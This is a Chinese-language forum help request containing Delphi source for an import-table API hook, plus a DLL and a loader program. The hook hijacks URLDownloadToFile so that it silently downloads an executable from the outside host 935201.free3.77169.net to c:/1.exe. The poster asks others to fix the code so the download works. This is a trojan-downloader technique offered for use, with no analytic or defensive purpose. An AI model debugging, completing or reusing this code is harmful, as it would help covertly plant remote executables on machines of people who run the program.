H
huangai93
Unregistered / Unconfirmed
GUEST, unregistred user!
跪求高手解决一下APIHOOK问题,希望帮修改<br>//-------------APIHOOK单元---------------------//<br>unit HookAPI;<br><br>interface<br><br>uses<br> Windows, Classes;<br>function LocateFunctionAddress(Code: Pointer): Pointer;<br>function RepointFunction(OldFunc, NewFunc: Pointer): Integer;<br><br>type //定义一个入口结构<br> PImage_Import_Entry = ^Image_Import_Entry;<br> Image_Import_Entry = record<br> Characteristics: DWORD;<br> TimeDateStamp: DWORD;<br> MajorVersion: Word;<br> MinorVersion: Word;<br> Name: DWORD;<br> LookupTable: DWORD;<br> end;<br><br>type //定义一个跳转的结构<br> TImportCode = packed record<br> JumpInstruction: Word; //定义跳转指令jmp<br> AddressOfPointerToFunction: ^Pointer; //定义要跳转到的函数<br> end;<br> PImportCode = ^TImportCode;<br>implementation<br><br>function LocateFunctionAddress(Code: Pointer): Pointer;<br>var<br> func: PImportCode;<br>begin<br> Result := Code;<br> if Code = nil then exit;<br> try<br> func := code;<br> if (func.JumpInstruction = $25FF) then<br> begin<br> Result := func.AddressOfPointerToFunction^;<br> end;<br> except<br> Result := nil;<br> end;<br>end;<br><br>function RepointFunction(OldFunc, NewFunc: Pointer): Integer;<br>var<br> IsDone: TList;<br> function RepointAddrInModule(hModule: THandle; OldFunc, NewFunc: Pointer): Integer;<br> var<br> Dos: PImageDosHeader;<br> NT: PImageNTHeaders;<br> ImportDesc: PImage_Import_Entry;<br> RVA: DWORD;<br> Func: ^Pointer;<br> DLL: string;<br> f: Pointer;<br> written: DWORD;<br> begin<br> Result := 0;<br> Dos := Pointer(hModule);<br> if IsDone.IndexOf(Dos) >= 0 then exit;<br> IsDone.Add(Dos);<br><br> OldFunc := LocateFunctionAddress(OldFunc);<br><br> if IsBadReadPtr(Dos, SizeOf(TImageDosHeader)) then exit;<br> if Dos.e_magic <> IMAGE_DOS_SIGNATURE then exit;<br> NT := Pointer(Integer(Dos) + dos._lfanew);<br><br> RVA := NT^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]<br> .VirtualAddress;<br><br> if RVA = 0 then exit;<br> ImportDesc := pointer(integer(Dos) + RVA);<br> while (ImportDesc^.Name <> 0) do<br> begin<br> DLL := PChar(Integer(Dos) + ImportDesc^.Name);<br> RepointAddrInModule(GetModuleHandle(PChar(DLL)), OldFunc, NewFunc);<br> Func := Pointer(Integer(DOS) + ImportDesc.LookupTable);<br> while Func^ <> nil do<br> begin<br> f := LocateFunctionAddress(Func^);<br> if f = OldFunc then<br> begin<br> WriteProcessMemory(GetCurrentProcess, Func, @NewFunc, 4, written);<br> if Written > 0 then Inc(Result);<br> end;<br> Inc(Func);<br> end;<br> Inc(ImportDesc);<br> end;<br> end;<br><br>begin<br> IsDone := TList.Create;<br> try<br> Result := RepointAddrInModule(GetModuleHandle(nil), OldFunc, NewFunc);<br> finally<br> IsDone.Free;<br> end;<br>end;<br><br>end.<br>//-------------------------APHOOK---------------------//<br>library Project2;<br><br>uses<br> SysUtils,<br> Classes,<br> windows,<br> urlmon,<br> HookAPI in 'HookAPI.pas';<br>type<br>TURLDownloadToFile=function (Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;<br>var<br>oldURLDownloadToFile:TURLDownloadToFile;<br>{$R *.res}<br>function myURLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback):integer; stdcall;<br> begin<br> oldURLDownloadToFile(nil,'http://935201.free3.77169.net/1.exe','c:/1.exe',0,nil);<br> end;<br> procedure api_hook;stdcall;<br> begin<br> if @oldURLDownloadToFile = nil then<br> @oldURLDownloadToFile := LocateFunctionAddress(@URLDownloadToFile);<br> RepointFunction(@oldURLDownloadToFile, @myURLDownloadToFile);<br> end;<br>exports api_hook;<br>begin<br>end.<br>最后通过控制台调用<br>program Project1;<br><br>uses<br>windows;<br> procedure api_hook;stdcall;external 'Project2.dll';<br><br>{$R *.res}<br><br>begin<br>api_hook;<br>end.<br>为什么不能实现下载功能,求助如何解决问题,我很很感谢大家.